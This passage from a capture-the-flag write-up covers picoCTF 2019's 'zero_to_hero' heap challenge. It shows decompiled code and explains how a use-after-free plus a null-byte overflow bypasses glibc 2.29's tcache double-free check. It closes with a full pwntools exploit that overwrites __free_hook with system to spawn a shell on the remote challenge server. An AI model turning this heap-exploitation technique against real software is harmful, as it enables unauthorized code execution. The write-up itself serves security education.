                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Really? Being a hero is hard.");
  puts("Fine. I see I can\'t convince you otherwise.");
  printf("It\'s dangerous to go alone. Take this: %p\n",system);
  while( true ) {
    while( true ) {
      menu();
      printf("> ");
      local_2c = 0;
      __isoc99_scanf(&DAT_00401040,&local_2c);
      getchar();
      if (local_2c != 2) break;
      delete();
    }
    if (local_2c == 3) break;
    if (local_2c != 1) goto LAB_00400dce;
    add();
  }
  puts("Giving up?");
LAB_00400dce:
                    /* WARNING: Subroutine does not return */
  exit(0);
}


void printflag(void)
{
  int iVar1;
  FILE *__fp;

  __fp = fopen("flag.txt","r");
  if (__fp != (FILE *)0x0) {
    while( true ) {
      iVar1 = _IO_getc((_IO_FILE *)__fp);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}

Now, there is a UAF (which will allow for double frees later) and a null byte overflow during allocation.  How do we beat the libc 2.29 check in this scenario?

First, we allocate something, then allocate another chunk (let's say size 0x150).  We free both the chunk above and this 0x150 chunk (real size 0x160 because metadata).  Then we re-allocate something of the first size to get that chunk back and this time, null byte overflow the size field below.  We can re-free the overflown chunk and now it goes into a different bin (specifically the 0x100 tcache bin because of the single null byte overflow).

We can then re-allocate size 0x150 to get this very same chunk back from its tcachebin, and then free it back into 0x100 as the null byte is still in effect, thereby creating a double free by which we can overwrite next pointers for the 0x100 tcachebin.

Then, we can manipulate free hook to pop a shell by calling “free” (now overwritten with system) on a chunk with “/bin/sh."  Also, the leak is already given to use in the beginning in the form of system().  Here is my final exploit:

from pwn import *

elf = ELF('./zero_to_hero')
libc = ELF('./libc.so.6') #2.29 with key mechanism

#context.log_level = 'debug'
#p=process('./zero_to_hero')
p = remote('2019shell1.picoctf.com', 49928)

def wait():
    p.recvrepeat(0.5)

def initiate(): #get libc leak too
    wait()
    p.sendline('y')
    p.recvline()
    p.recvline()
    leak = p.recvline().split('this: ')[1][2:]
    leak = int(leak, 16)
    return leak

def alloc(size, data):
    wait()
    p.sendline('1')
    wait()
    p.sendline(str(size))
    wait()
    p.sendline(data)

def delete(index):
    wait()
    p.sendline('2')
    wait()
    p.sendline(str(index))

system = initiate()
libcBase = system - libc.symbols['system']
freehook = libcBase + 0x1e75a8
log.info("System: " + hex(system))
log.info("Libc Base: " + hex(libcBase))
log.info("Free hook: " + hex(freehook))
#use the null byte to our advantage
#allocate something
#allocate 0x150 (0x160)size (2), free it, null byte overflow it (3) by reallocating first chunk, free it so it goes to 0x100
#then allocate another 0x150 (0x160) (4) to get that chunk back, free it again so it goes back to 0x100 bc null byte already overflowed... double free
#then allocate chunk 5 (0x90 to get 0x100), while overwriting fd to free hook, allocate chunk 6, allocate chunk 7 to get back free hook, can overwrite
#00000000001e75a8 <__free_hook@@GLIBC_2.2.5>:
payload1 = '/bin/sh\x00'
payload1 += 'A' * (0x58 - len(payload1))
alloc(0x50, '') #0
delete(0)
alloc(0x150, 'B'*30) #1
delete(1)
#p.interactive()
alloc(0x58, payload1) #2
#p.interactive()
'''
0xde2250:    0x0000000000000000    0x0000000000000061
0xde2260:    0x0068732f6e69622f    0x4141414141414141
0xde2270:    0x4141414141414141    0x4141414141414141
0xde2280:    0x4141414141414141    0x4141414141414141
0xde2290:    0x4141414141414141    0x4141414141414141
0xde22a0:    0x4141414141414141    0x4141414141414141
0xde22b0:    0x4141414141414141    0x0000000000000100
0xde22c0:    0x0000000000000000    0x0000000000de2010
0xde22d0:    0x4242424242424242    0x000a424242424242
'''
delete(1)
alloc(0x150, 'B' * 30) #3
delete(3)
alloc(0xf0, p64(freehook) + 'C' * 30) #4
alloc(0xf0, 'D' * 40) #5
#p.interactive()
alloc(0xf0, p64(system))
delete(0)
p.interactive()

Zero to hero is finished!